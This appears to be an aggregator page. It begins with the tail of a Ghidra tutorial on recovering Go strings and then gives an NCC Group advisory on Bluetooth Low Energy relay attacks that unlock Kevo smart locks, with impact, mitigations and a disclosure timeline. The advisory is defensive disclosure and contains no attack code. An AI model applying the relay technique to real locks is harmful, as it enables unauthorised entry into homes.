  • If it detects false positive short strings (strings that violate the ascending length order), clear them and re-run the script. There is an option to do this automatically.
  • There’s an option to allow the script to define strings even when a unique set of string lengths can’t be identified, as a last resort. Specifically, there’s one rule that checks if a gap’s size is evenly divisible only by a single string length. It’s possible there are actually strings of different lengths in the gap, but this works often enough to be useful. I recommend running the script without allowing false positives until all the short strings have been fixed.
  • If the binary is stripped, locate the area of one byte strings found by the dynamic strings script. Ensure it’s the start of the grouped together non-null-terminated strings (more strings should be defined after with length in ascending order). Create the label go.string.* at the first one byte string. 

5. Check for remaining gaps in go.string.*, and define any strings with obvious start and end points. Sometimes defining one or two strings and re-running GoStringFiller.java is sufficient to fill in remaining gaps.

Manually defining the individual string “write”. Here there are 60 bytes of undefined data in between a 5 byte and 6 byte string, so there are multiple possible length combinations, including twelve 5 byte strings or ten 6 byte strings.

Re-running the filler script after defining the “write” string. Now the remaining undefined data exists between two 5 byte strings, so all strings in between must also be 5 bytes long.

6. (Optional) Re-run Ghidra’s built-in ASCII String analysis tool.

  • Disable overwriting existing strings. Run with and then without the null terminator requirement.
✇NCC Group Research

Technical Advisory – Kwikset/Weiser BLE Proximity Authentication in Kevo Smart Locks Vulnerable to Relay Attacks

By: Sultan Khan
Vendor: Kwikset/Weiser (Spectrum Brands)
Vendor URLs: https://www.kwikset.com/kevo/smart-lock, https://www.weiserlock.com/en/kevo/default
Versions Affected: All versions. Attack tested on Kevo Generation 2 hardware with firmware v1.9.49 and Android application version Kevo 2.9.1.21765p.
Systems Affected: Kevo smart locks, including Kevo Contemporary
Author: Sultan Qasim Khan
Risk: <6.8 CVSS v3.1 AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N> - An attacker within BLE signal range of a smartphone or key fob authorized to unlock a Kevo smart lock can conduct a relay attack to unlock the lock over long distances.

Summary

The Kwikset/Weiser Kevo line of smart locks support Bluetooth Low Energy (BLE) passive entry through their Touch-to-Open functionality. When a user touches the exterior portion of the lock, the lock checks that an authorized BLE device is exterior to and within a short distance of the smart lock, and then performs a cryptographic handshake over a BLE connection to verify the identity of the device.

In a BLE relay attack, one relaying devices is placed with signal range of the smart lock, and another within range of the user’s smartphone or key fob. BLE communications between the two relaying devices are forwarded, making the smart lock and smartphone/key fob believe they are adjacent when they may actually be great distances apart, and allowing Touch-to-Open operations on Kevo smart locks to succeed.

Impact

Attackers can unlock or lock affected Kevo smart locks without the owner’s authorization if they can place one attacking device near the smart lock, and another within BLE range of a device authorized to unlock (the user’s smart phone or key fob). While the Kevo mobile application disables touch-to-unlock functionality when the user’s phone has been stationary for over 30 seconds, relay attacks are nevertheless possible when the user is carrying their phone (such as in their hand, pocket, or bag) or when the phone is placed on a non-stationary surface (such as in a moving vehicle).

Details

Testing of a relay attack against the Kevo smart lock was conducted using an internal NCC Group developed BLE link layer relay tool. This tool conducts a new type of BLE relay attack operating at the link layer, for which added latency is within the range of normal GATT response timing variation, and which is capable of relaying encrypted link layer communications. This approach can circumvent the existing relay attack mitigations of GATT response latency bounding or link layer encryption, and bypass localization defences commonly used against relay attacks that use signal amplification.

While this NCC Group developed tool has not been released to the public, it may also be possible to use existing public GATT-layer BLE relay tools to conduct the attack against Kevo devices if response timing requirements are not strict. GATT based relay attacks can only be used for unencrypted link layers, but this is not an impediment to the attack the Kevo devices as they do not use link layer encryption. NCC Group has not attempted to use GATT-layer relay tools against the Kevo products.

Recommendation

As currently defined, the Bluetooth Low Energy standard lacks a suitable mechanism for secure ranging. Angle of arrival and RSSI measurement do not protect against attacks where a relay transmits from the same location and with the same power as a legitimate device. Secure ranging is normally implemented using technologies that support time-of-flight measurement, such as Ultra-Wide Band (UWB). Nevertheless, there are some approaches that can be used to defend against BLE relay attacks.

Disabling proximity unlock functionality when the user’s phone or key fob has been stationary for an extended period, as done by the Kevo application, substantially reduces opportunities for relay attacks when devices are placed on a stationary surface. To further reduce the opportunities to conduct a relay attack, the mobile application could be modified to only allow unlocking when a particular pattern of user movement is observed. Typically, a user would first walk to their door, then slow down and stop walking when they are unlocking their door. By determining user motion state based on accelerometer data, the mobile application could refuse to unlock if the user has not walked in the last minute or is still walking.

Another option may be to employ geofencing wherein the mobile application checks the user’s cellular or GPS location, and only allows unlocking when the phone is near where the lock was installed. However, acquiring location in the mobile app may be too slow, resisted by user privacy concerns, and may be restricted by background location and power saving policies of mobile operating systems.

Relay attacks are most useful against passive systems that do not require user authorization to perform an action. For a higher level of security, the mobile application could be modified to allow disabling the touch-to-open feature or allow requiring user interaction in the mobile app to authorize unlocking the lock. User interaction is less important for authorizing locking the lock, compared to unlocking. This would give the user a choice between more convenient and more secure modes of operation.

Vendor Communication

September 16, 2021: Relay attack concern reported to Kwikset customer service online portal
September 23, 2021: Initial contact with Spectrum Brands HHI engineering lead over email to schedule a voice call
September 30, 2021: Disclosure of draft advisory over email, and voice call discussion of relay attack issue with Spectrum Brands HHI engineering. Spectrum Brands HHI notified of our intent to publish research regarding BLE relay attacks and their applicability to many products including Kevo smart locks. High level discussions on nature of relay attack and mitigation approaches. Spectrum Brands stated that they will investigate and discuss possible mitigation approaches internally.
October 13, 2021: Follow-up discussion with broader Spectrum Brands HHI engineering team regarding attack setup details and mitigation approaches
May 15, 2022: Advisory released to public

Thanks to

Jeremy Boone and Aaron Haymore for assisting with disclosure. We also wish to thank Deviant Ollam for assisting us in making the initial contact with Spectrum Brands.

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Published date: May 15, 2022
Written by: Sultan Qasim Khan

❌